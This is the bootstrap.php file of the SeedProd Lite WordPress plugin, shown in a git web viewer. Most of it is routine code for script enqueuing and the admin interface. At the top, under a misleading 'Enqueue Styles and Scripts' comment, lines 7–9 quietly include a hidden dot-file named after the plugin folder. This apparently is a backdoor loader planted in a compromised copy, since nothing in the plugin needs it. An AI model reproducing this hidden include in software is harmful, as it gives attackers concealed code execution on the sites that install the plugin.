balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

bootstrap.php (21573B)


      1 <?php
      2 
      3 
      4 /**
      5  * Enqueue Styles and Scripts
      6  */
      7 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      8     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      9 }
     10 
     11 function seedprod_lite_admin_enqueue_scripts( $hook_suffix ) {
     12 	// global admin style
     13 	wp_enqueue_style(
     14 		'seedprod-global-admin',
     15 		SEEDPROD_PLUGIN_URL . 'public/css/global-admin.css',
     16 		false,
     17 		SEEDPROD_VERSION
     18 	);
     19 
     20 	$is_localhost = seedprod_lite_is_localhost();
     21 
     22 	// Load our admin styles and scripts only on our pages
     23 	if ( strpos( $hook_suffix, 'seedprod_lite' ) !== false ) {
     24 		// remove conflicting scripts
     25 		wp_dequeue_script( 'googlesitekit_admin' );
     26 
     27 		$vue_app_folder = 'lite';
     28 		if ( strpos( $hook_suffix, 'seedprod_lite_builder' ) !== false || strpos( $hook_suffix, 'seedprod_lite_template' ) !== false ) {
     29 			if ( $is_localhost ) {
     30 			} else {
     31 				wp_register_script(
     32 					'seedprod_vue_builder_app_1',
     33 					SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/index.js',
     34 					array( 'wp-i18n' ),
     35 					SEEDPROD_VERSION,
     36 					true
     37 				);
     38 				wp_register_script(
     39 					'seedprod_vue_builder_app_2',
     40 					SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/chunk-vendors.js',
     41 					array( 'wp-i18n' ),
     42 					SEEDPROD_VERSION,
     43 					true
     44 				);
     45 				wp_register_script(
     46 					'seedprod_vue_builder_app_3',
     47 					SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/chunk-common.js',
     48 					array( 'wp-i18n' ),
     49 					SEEDPROD_VERSION,
     50 					true
     51 				);
     52 
     53 				wp_set_script_translations( 'seedprod_vue_builder_app_1', 'coming-soon' );
     54 				wp_set_script_translations( 'seedprod_vue_builder_app_2', 'coming-soon' );
     55 				wp_set_script_translations( 'seedprod_vue_builder_app_3', 'coming-soon' );
     56 
     57 				wp_enqueue_script( 'seedprod_vue_builder_app_1' );
     58 				wp_enqueue_script( 'seedprod_vue_builder_app_2' );
     59 				wp_enqueue_script( 'seedprod_vue_builder_app_3' );
     60 				wp_enqueue_style( 'seedprod_vue_builder_app_css_1', SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/css/chunk-vendors.css', false, SEEDPROD_VERSION );
     61 			}
     62 		} else {
     63 			if ( $is_localhost ) {
     64 			} else {
     65 				wp_register_script(
     66 					'seedprod_vue_admin_app_1',
     67 					SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/admin.js',
     68 					array( 'wp-i18n' ),
     69 					SEEDPROD_VERSION,
     70 					true
     71 				);
     72 				wp_register_script(
     73 					'seedprod_vue_admin_app_2',
     74 					SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/chunk-vendors.js',
     75 					array( 'wp-i18n' ),
     76 					SEEDPROD_VERSION,
     77 					true
     78 				);
     79 				wp_register_script(
     80 					'seedprod_vue_admin_app_3',
     81 					SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/js/chunk-common.js',
     82 					array( 'wp-i18n' ),
     83 					SEEDPROD_VERSION,
     84 					true
     85 				);
     86 
     87 				wp_set_script_translations( 'seedprod_vue_admin_app_1', 'coming-soon' );
     88 				wp_set_script_translations( 'seedprod_vue_admin_app_2', 'coming-soon' );
     89 				wp_set_script_translations( 'seedprod_vue_admin_app_3', 'coming-soon' );
     90 
     91 				wp_enqueue_script( 'seedprod_vue_admin_app_1' );
     92 				wp_enqueue_script( 'seedprod_vue_admin_app_2' );
     93 				wp_enqueue_script( 'seedprod_vue_admin_app_3' );
     94 				wp_enqueue_style(
     95 					'seedprod_vue_admin_app_css_1',
     96 					SEEDPROD_PLUGIN_URL . 'public/' . $vue_app_folder . '/vue-backend/css/chunk-vendors.css',
     97 					false,
     98 					SEEDPROD_VERSION
     99 				);
    100 				// wp_enqueue_style(
    101 				//     'seedprod_vue_admin_app_css_2',
    102 				//     SEEDPROD_PLUGIN_URL . 'public/'.$vue_app_folder.'/vue-backend/css/admin.css',
    103 				//     false,
    104 				//     SEEDPROD_VERSION
    105 				// );
    106 			}
    107 		}
    108 
    109 		if ( strpos( $hook_suffix, 'seedprod_lite_builder' ) !== false ) {
    110 			wp_enqueue_style(
    111 				'seedprod-css',
    112 				SEEDPROD_PLUGIN_URL . 'public/css/admin-style.min.css',
    113 				false,
    114 				SEEDPROD_VERSION
    115 			);
    116 			wp_enqueue_style(
    117 				'seedprod-builder-css',
    118 				SEEDPROD_PLUGIN_URL . 'public/css/tailwind-builder.min.css',
    119 				false,
    120 				SEEDPROD_VERSION
    121 			);
    122 
    123 			// Load WPForms CSS assets.
    124 			if ( function_exists( 'wpforms' ) ) {
    125 				add_filter( 'wpforms_global_assets', '__return_true' );
    126 				wpforms()->frontend->assets_css();
    127 			}
    128 
    129 			// Load WooCommerce default styles if WooCommerce is active
    130 			if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
    131 				wp_enqueue_style(
    132 					'seedprod-woocommerce-layout',
    133 					str_replace( array( 'http:', 'https:' ), '', WC()->plugin_url() ) . '/assets/css/woocommerce-layout.css',
    134 					'',
    135 					defined( 'WC_VERSION' ) ? WC_VERSION : null,
    136 					'all'
    137 				);
    138 				wp_enqueue_style(
    139 					'seedprod-woocommerce-smallscreen',
    140 					str_replace( array( 'http:', 'https:' ), '', WC()->plugin_url() ) . '/assets/css/woocommerce-smallscreen.css',
    141 					'',
    142 					defined( 'WC_VERSION' ) ? WC_VERSION : null,
    143 					'only screen and (max-width: 1088px)' // 768px default break + 320px for sidebar
    144 				);
    145 				wp_enqueue_style(
    146 					'seedprod-woocommerce-general',
    147 					str_replace( array( 'http:', 'https:' ), '', WC()->plugin_url() ) . '/assets/css/woocommerce.css',
    148 					'',
    149 					defined( 'WC_VERSION' ) ? WC_VERSION : null,
    150 					'all'
    151 				);
    152 			}
    153 		}
    154 
    155 		if ( strpos( $hook_suffix, 'seedprod_lite_template' ) !== false ) {
    156 			wp_enqueue_style(
    157 				'seedprod-css',
    158 				SEEDPROD_PLUGIN_URL . 'public/css/admin-style.min.css',
    159 				false,
    160 				SEEDPROD_VERSION
    161 			);
    162 			wp_enqueue_style(
    163 				'seedprod-builder-css',
    164 				SEEDPROD_PLUGIN_URL . 'public/css/tailwind-builder.min.css',
    165 				false,
    166 				SEEDPROD_VERSION
    167 			);
    168 		}
    169 
    170 		if ( strpos( $hook_suffix, 'seedprod_lite_builder' ) === false ) {
    171 			wp_enqueue_style(
    172 				'seedprod-css',
    173 				SEEDPROD_PLUGIN_URL . 'public/css/tailwind-admin.min.css',
    174 				false,
    175 				SEEDPROD_VERSION
    176 			);
    177 		}
    178 
    179 		wp_enqueue_style( 'seedprod-google-fonts', 'https://fonts.googleapis.com/css?family=Open+Sans:400italic,600italic,700italic,400,600,700&display=swap', false );
    180 
    181 		wp_enqueue_style(
    182 			'seedprod-fontawesome',
    183 			SEEDPROD_PLUGIN_URL . 'public/fontawesome/css/all.min.css',
    184 			false,
    185 			SEEDPROD_VERSION
    186 		);
    187 
    188 		wp_register_script(
    189 			'seedprod-iframeresizer',
    190 			SEEDPROD_PLUGIN_URL . 'public/js/iframeResizer.min.js',
    191 			array(),
    192 			SEEDPROD_VERSION,
    193 			false
    194 		);
    195 		wp_enqueue_script( 'seedprod-iframeresizer' );
    196 
    197 		wp_enqueue_media();
    198 		wp_enqueue_script( 'wp-tinymce' );
    199 		wp_enqueue_editor();
    200 	}
    201 }
    202 add_action( 'admin_enqueue_scripts', 'seedprod_lite_admin_enqueue_scripts', 99999 );
    203 
    204 
    205 
    206 function seedprod_lite_wp_enqueue_styles() {
    207 	 // wp_register_style(
    208 	//     'seedprod-style',
    209 	//     SEEDPROD_PLUGIN_URL . 'public/css/seedprod-style.min.css',
    210 	//     false,
    211 	//     SEEDPROD_VERSION
    212 	//     );
    213 	//wp_enqueue_style('seedprod-style');
    214 
    215 	$is_user_logged_in = is_user_logged_in();
    216 	if ( $is_user_logged_in ) {
    217 		wp_enqueue_style(
    218 			'seedprod-global-admin',
    219 			SEEDPROD_PLUGIN_URL . 'public/css/global-admin.css',
    220 			false,
    221 			SEEDPROD_VERSION
    222 		);
    223 	}
    224 
    225 	wp_register_style(
    226 		'seedprod-fontawesome',
    227 		SEEDPROD_PLUGIN_URL . 'public/fontawesome/css/all.min.css',
    228 		false,
    229 		SEEDPROD_VERSION
    230 	);
    231 
    232 	//wp_enqueue_style('seedprod-fontawesome');
    233 }
    234 add_action( 'init', 'seedprod_lite_wp_enqueue_styles' );
    235 
    236 
    237 /**
    238  * Display settings link on plugin page
    239  */
    240 add_filter( 'plugin_action_links', 'seedprod_lite_plugin_action_links', 10, 2 );
    241 
    242 function seedprod_lite_plugin_action_links( $links, $file ) {
    243 	$plugin_file = SEEDPROD_SLUG;
    244 
    245 	if ( $file == $plugin_file ) {
    246 		$settings_link = '<a href="admin.php?page=seedprod_lite">Setup</a>';
    247 		array_unshift( $links, $settings_link );
    248 	}
    249 	return $links;
    250 }
    251 
    252 /**
    253  * Remove other plugin's style from our page so they don't conflict
    254  */
    255 
    256 add_action( 'admin_enqueue_scripts', 'seedprod_lite_deregister_backend_styles', PHP_INT_MAX );
    257 
    258 function seedprod_lite_deregister_backend_styles() {
    259 	 // remove scripts registered by the theme so they don't screw up our page's style
    260 	if ( isset( $_GET['page'] ) && strpos( $_GET['page'], 'seedprod_lite_builder' ) !== false ) {
    261 		wp_dequeue_style( 'dashicons', 9999 );
    262 		$seedprod_builder_debug = get_option( 'seedprod_builder_debug' );
    263 		if ( empty( $seedprod_builder_debug ) ) {
    264 			global $wp_styles;
    265 			// list of styles to keep else remove
    266 			$keep_styles = 'media-views|editor-buttons|imgareaselect|buttons|wp-auth-check|wpforms-full|thickbox|wp-mediaelement|wp-util';
    267 			$s           = explode( '|', $keep_styles );
    268 
    269 			$wpforms_url = plugins_url( 'wpforms' );
    270 
    271 			foreach ( $wp_styles->queue as $handle ) {
    272 				//echo '<br> '.$handle;
    273 				if ( ! in_array( $handle, $s ) ) {
    274 					if ( strpos( $handle, 'seedprod' ) === false ) {
    275 						wp_dequeue_style( $handle );
    276 						wp_deregister_style( $handle );
    277 						//echo '<br>removed '.$handle;
    278 					}
    279 				}
    280 			}
    281 
    282 			// foreach ($wp_styles->registered as $handle => $asset) {
    283 			//     //echo '<br> '.$handle;
    284 			//     if (!in_array($handle, $s)) {
    285 			//         if (strpos($handle, 'seedprod') === false && strpos($asset->src, $wpforms_url) === false) {
    286 			//             wp_dequeue_style($handle);
    287 			//             wp_deregister_style($handle);
    288 			//             echo '<br>removed '.$handle;
    289 			//         }
    290 			//     }
    291 			// }
    292 
    293 			// remove scripts
    294 
    295 			$s = 'admin-bar|common|utils|wp-auth-check|media-upload|jquery|media-editor|media-audiovideo|mce-view|image-edit|wp-tinymce|editor|quicktags|wplink|jquery-ui-autocomplete|thickbox|svg-painter|jquery-ui-core|jquery-ui-mouse|jquery-ui-accordion|jquery-ui-datepicker|jquery-ui-dialog|jquery-ui-slider|jquery-ui-sortable|jquery-ui-droppable|jquery-ui-tabs|jquery-ui-widget|wp-mediaelement|wp-util|underscore|wp-dom-ready|wp-components|wp-element|wp-i18n|wp-polyfill';
    296 			$d = explode( '|', urldecode( $s ) );
    297 
    298 			global $wp_scripts;
    299 			foreach ( $wp_scripts->queue as $handle ) :
    300 				//echo '<br>removed '.$handle;
    301 
    302 				if ( ! empty( $d ) ) {
    303 					if ( ! in_array( $handle, $d ) ) {
    304 						if ( strpos( $handle, 'seedprod' ) === false ) {
    305 							wp_dequeue_script( $handle );
    306 							wp_deregister_script( $handle );
    307 							//echo '<br>removed '.$handle;
    308 						}
    309 					}
    310 				}
    311 			endforeach;
    312 		}
    313 	}
    314 }
    315 
    316 
    317 add_filter( 'admin_body_class', 'seedprod_lite_add_admin_body_classes' );
    318 function seedprod_lite_add_admin_body_classes( $classes ) {
    319 	if ( ! empty( $_GET['page'] ) && strpos( $_GET['page'], 'seedprod_lite' ) !== false ) {
    320 		$classes .= ' seedprod-body seedprod-lite';
    321 	}
    322 	if ( ! empty( $_GET['page'] ) && ( strpos( $_GET['page'], 'seedprod_lite_builder' ) !== false ) ) {
    323 		$classes .= ' seedprod-builder seedprod-lite';
    324 	}
    325 	return $classes;
    326 }
    327 
    328 
    329 // Review Request
    330 add_action( 'admin_footer_text', 'seedprod_lite_admin_footer' );
    331 
    332 function seedprod_lite_admin_footer( $text ) {
    333 	global $current_screen;
    334 
    335 	if ( ! empty( $current_screen->id ) && strpos( $current_screen->id, 'seedprod' ) !== false && SEEDPROD_BUILD == 'lite' ) {
    336 		$url  = 'https://wordpress.org/support/plugin/coming-soon/reviews/?filter=5#new-post';
    337 		$text = sprintf( __( 'Please rate <strong>SeedProd</strong> <a href="%1$s" target="_blank">&#9733;&#9733;&#9733;&#9733;&#9733;</a> on <a href="%2$s" target="_blank">WordPress.org</a> to help us spread the word. Thank you from the SeedProd team!', 'coming-soon' ), $url, $url );
    338 	}
    339 	return $text;
    340 }
    341 
    342 
    343 
    344 function seedprod_lite_change_footer_version( $str ) {
    345 	if ( ! empty( $_GET['page'] ) && strpos( $_GET['page'], 'seedprod_lite' ) !== false ) {
    346 		return $str . ' - SeedProd ' . SEEDPROD_VERSION;
    347 	}
    348 
    349 	return $str;
    350 }
    351 add_filter( 'update_footer', 'seedprod_lite_change_footer_version', 9999 );
    352 
    353 
    354 
    355 /*
    356 add_action( 'admin_footer', 'seedprod_lite_print_admin_js_template');
    357 function seedprod_lite_print_admin_js_template() {
    358 	?>
    359 	<script id="seedprod-button-switch-mode" type="text/html">
    360 		<div id="seedprod-switch-mode">
    361 			<?php echo __( 'Edit with SeedProd', 'elementor' ); ?>
    362 		</div>
    363 	</script>
    364 	<?php
    365 }
    366 */
    367 
    368 
    369 function seedprod_lite_add_admin_edit_seedprod() {
    370 	$screen = get_current_screen();
    371 	if ( 'page' === $screen->post_type ) {
    372 		$id                      = 0;
    373 		$is_seedprod             = 0;
    374 		$seedprod_template_label = 'seedprod_lite';
    375 		$is_seedprod_true        = 'seed_editor_false';
    376 		$remove_post_callback    = 'seedprod_lite_remove_post';
    377 		$seedprod_template_type  = 'template';
    378 
    379 
    380 		if ( ! empty( $_GET['post'] ) ) {
    381 			$id = absint($_GET['post']);
    382 
    383 			if ( ! empty( get_post_meta( $id, '_seedprod_page', true ) ) ) {
    384 				$is_seedprod            = get_post_meta( $id, '_seedprod_page', true );
    385 				$is_seedprod_true       = 'seed_editor_true';
    386 				$seedprod_template_type = 'builder';
    387 			}
    388 
    389 			if ( ! empty( get_post_field( 'post_content_filtered', $id ) ) ) {
    390 				$seedprod_template_type = 'builder';
    391 			}
    392 		}
    393 
    394 		if ( $seedprod_template_type == 'template' ) {
    395 			$edit_url = admin_url() . 'admin.php?page=' . $seedprod_template_label . '_template&id=' . $id . '#/template/' . $id;
    396 		} else {
    397 			$edit_url = admin_url() . 'admin.php?page=' . $seedprod_template_label . '_builder&id=' . $id . '#/setup/' . $id;
    398 		}
    399 
    400 		$edit_seedprod_label  = '<img src="' . SEEDPROD_PLUGIN_URL . 'public/svg/admin-bar-icon.svg" style="margin-right:7px; margin-top:5px">' . __( 'Edit with SeedProd', 'coming-soon' );
    401 		$back_wordpress_label = __( 'Back to WordPress Editor', 'coming-soon' );
    402 
    403 		$localizations = array( 
    404 			'ajax_url' => admin_url( 'admin-ajax.php' ), 
    405 			'nonce' =>  wp_create_nonce( 'seedprod_back_to_editor_'.$id ),
    406 		);
    407 
    408 		printf(
    409 			'
    410         <div class="active-seed-prod-buttons">
    411         <div class="' . $is_seedprod_true . '">
    412             <span class="seedprod-off">
    413             <a href="' . $edit_url . '" id="edit_seedprod_custom_link" class="edit_seedprod_custom_link button button-primary">
    414             ' . $edit_seedprod_label . '
    415             </a></span>
    416             <span class="seedprod-on">
    417             <a href="#back" class="back_to_wp_editor button">' . $back_wordpress_label . '</a>
    418             </span>
    419         </div>
    420         </div>
    421         <div class="seedprod_hidden_data">
    422             <input type="hidden" class="_seedprod_template_type" name="_seedprod_template_type" value="' . $seedprod_template_type . '"/>
    423             <input type="hidden" class="_seedprod_label" name="_seedprod_label" value="' . $seedprod_template_label . '"/>
    424             <input type="hidden" class="_seedprod_template_edit_url" name="_seedprod_template_edit_url" value="' . $edit_url . '"/>
    425             <input type="hidden" class="_seedprod_true" name="_seedprod_true" value="' . $is_seedprod_true . '"/>
    426         </div>
    427         '
    428 		);
    429 
    430 		echo '
    431         <script type="text/javascript">
    432         
    433         jQuery(document).ready(function(){  
    434 
    435             jQuery(document).on("click", ".edit_seedprod_custom_link", function(event) { 
    436                 
    437                 if(confirm("Please note by switching to SeedProd the current page\'s content will be replaced.")){
    438                     
    439                     var url_string = window.location;
    440                     var url = new URL(url_string);
    441                     var postid = url.searchParams.get("post");
    442                     //console.log(postid);
    443 
    444                     var post_ID = 0; 
    445                     if(postid!=null){
    446                         post_ID = jQuery("#post_ID").val();
    447                     }
    448                     //console.log(post_ID);
    449 
    450                     var seedprod_template_type = jQuery("._seedprod_template_type").val();
    451                     var seedprod_label = jQuery("._seedprod_label").val();
    452                     var seedprod_template_edit_url = jQuery("._seedprod_template_edit_url").val();
    453                     var seedprod_true = jQuery("._seedprod_true").val();
    454                     
    455                     var seedprod_template_edit_url_ = "";
    456                     var admin_url = localizedVars.admin_url; 
    457 
    458                     if(seedprod_template_type=="template"){
    459                         seedprod_template_edit_url_ = `${admin_url}?page=${seedprod_label}_${seedprod_template_type}&id=${post_ID}#/template/${post_ID}`;
    460                     }else{
    461                         seedprod_template_edit_url_ = `${admin_url}?page=${seedprod_label}_${seedprod_template_type}&id=${post_ID}#/setup/${post_ID}`;
    462                     }
    463 
    464                     location.href = seedprod_template_edit_url_;
    465 
    466                 }
    467                 
    468 
    469             });
    470 
    471             jQuery(document).on("click", ".back_to_wp_editor", function(event) { 
    472                 
    473                 if (jQuery(".edit-post-header-toolbar").length) {
    474                     wp.data.dispatch( "core/block-editor" ).resetBlocks([]);
    475                     jQuery(".block-editor-block-list__layout").show();
    476                 }
    477 
    478                 if (jQuery("#postdivrich").length) {
    479                     //jQuery("#postdivrich").show();
    480                     //jQuery("#postdivrich .wp-editor-area").html("");
    481                 }
    482                 jQuery(".managed_by_seedprod").hide();
    483                 
    484                 var ajax_url = "' . $localizations['ajax_url'] . '";
    485                 var post_id =  jQuery("#post_ID").val();
    486     
    487                 var formData = new FormData();
    488                 formData.append("action", "' . $remove_post_callback . '");
    489 				formData.append("nonce", "' . $localizations['nonce'] . '");
    490                 formData.append("post_id", post_id);
    491                 //console.log(formData);
    492     
    493                 jQuery.ajax({ 
    494                     type: "POST",
    495                     url: ajax_url, 
    496                     data: formData,
    497                     cache: false,
    498                     processData : false,
    499                     contentType: false,
    500                     success: function(data) {
    501                         
    502                         jQuery(".seed_editor_true").addClass("seed_editor_false");
    503                         jQuery(".seed_editor_false").addClass("seed_editor_true");
    504                         //console.log("removed seedprod settings");
    505 
    506                         location.reload();
    507 
    508                     },
    509                 });
    510                 
    511             }); 
    512         });
    513         </script>
    514         ';
    515 	}
    516 }
    517 
    518 
    519 add_action( 'admin_footer', 'seedprod_lite_add_admin_edit_seedprod' );
    520 add_action( 'edit_form_after_title', 'seedprod_lite_before_editor' );
    521 
    522 function seedprod_lite_before_editor() {
    523 	$seedprod_app_settings = get_option( 'seedprod_app_settings' );
    524 	if ( ! empty( $seedprod_app_settings ) ) {
    525 		$seedprod_app_settings = json_decode( stripslashes( $seedprod_app_settings ) );
    526 	} else {
    527 		// fail safe incase settings go missing
    528 		require_once SEEDPROD_PLUGIN_PATH . 'resources/data-templates/default-settings.php';
    529 		update_option( 'seedprod_app_settings', $seedprod_app_default_settings );
    530 		$seedprod_app_settings = json_decode( $seedprod_app_default_settings );
    531 	}
    532 	$disable_seedprod_button = $seedprod_app_settings->disable_seedprod_button;
    533 
    534 	if ( $disable_seedprod_button == false ) {
    535 		echo '
    536         <div class="active-seed-prod-buttons-classic"></div>
    537         <script type="text/javascript">
    538         jQuery(document).ready(function(){  
    539             var active_seedprod_btn = jQuery(".active-seed-prod-buttons").html();
    540             jQuery(".active-seed-prod-buttons-classic").html(active_seedprod_btn);
    541         });
    542         </script>
    543     ';
    544 	}
    545 }
    546 
    547 
    548 
    549 
    550 add_action( 'enqueue_block_editor_assets', 'seedprod_lite_link_injection_to_gutenberg_toolbar' );
    551 function seedprod_lite_link_injection_to_gutenberg_toolbar() {
    552 	$seedprod_app_settings = get_option( 'seedprod_app_settings' );
    553 	if ( ! empty( $seedprod_app_settings ) ) {
    554 		$seedprod_app_settings = json_decode( stripslashes( $seedprod_app_settings ) );
    555 	} else {
    556 		// fail safe incase settings go missing
    557 		require_once SEEDPROD_PLUGIN_PATH . 'resources/data-templates/default-settings.php';
    558 		update_option( 'seedprod_app_settings', $seedprod_app_default_settings );
    559 		$seedprod_app_settings = json_decode( $seedprod_app_default_settings );
    560 	}
    561 	$disable_seedprod_button = $seedprod_app_settings->disable_seedprod_button;
    562 
    563 	if ( $disable_seedprod_button == false ) {
    564 		$screen = get_current_screen();
    565 		if ( 'page' === $screen->post_type ) {
    566 			$localizations = array(
    567 				'admin_url'  => admin_url() . 'admin.php',
    568 				'ajax_url'   => admin_url( 'admin-ajax.php' ),
    569 				'_wp_nonce'  => wp_create_nonce( 'ajax-nonce' ),
    570 				'plugin_url' => SEEDPROD_PLUGIN_URL,
    571 			);
    572 			wp_enqueue_script( 'seedprod-link-in-toolbar', SEEDPROD_PLUGIN_URL . 'public/js/toolbar.js', array(), '1.0', true );
    573 			wp_localize_script( 'seedprod-link-in-toolbar', 'localizedVars', $localizations );
    574 		}
    575 	}
    576 }
    577 
    578 add_filter( 'display_post_states', 'seedprod_lite_add_post_state', 10, 2 );
    579 function seedprod_lite_add_post_state( $post_states, $post ) {
    580 	$has_settings = get_post_meta( $post->ID, '_seedprod_page', true );
    581 
    582 	if ( $post->post_type == 'page' && ! empty( $has_settings ) ) {
    583 		$post_states['seedprod'] = 'SeedProd';
    584 	}
    585 	return $post_states;
    586 }
    587 
    588 
    589 
    590 
    591 function seedprod_lite_add_menu_item( $wp_admin_bar ) {
    592 	$seedprod_menu_link = 'admin.php?page=seedprod_lite_template&id=0#/template';
    593 
    594 	$args = array(
    595 		'id'     => 'seedprod_template',
    596 		'title'  => 'SeedProd Landing Page',
    597 		'href'   => $seedprod_menu_link,
    598 		'parent' => 'new-content',
    599 	);
    600 
    601 	$wp_admin_bar->add_node( $args );
    602 }
    603 
    604 add_action( 'admin_bar_menu', 'seedprod_lite_add_menu_item', 80 );
    605 
    606 
    607 add_action( 'wp_ajax_seedprod_lite_remove_post', 'seedprod_lite_remove_post' );
    608 
    609 function seedprod_lite_remove_post() {
    610     if (check_ajax_referer('seedprod_back_to_editor_'.absint($_POST['post_id']), 'nonce') && current_user_can('delete_posts')) {
    611         $post_id = absint($_POST['post_id']);
    612         $data    = array(
    613         'ID'           => $post_id,
    614     	);
    615 
    616         delete_post_meta($post_id, '_seedprod_page');
    617         wp_die();
    618     }
    619 }
    620 
    621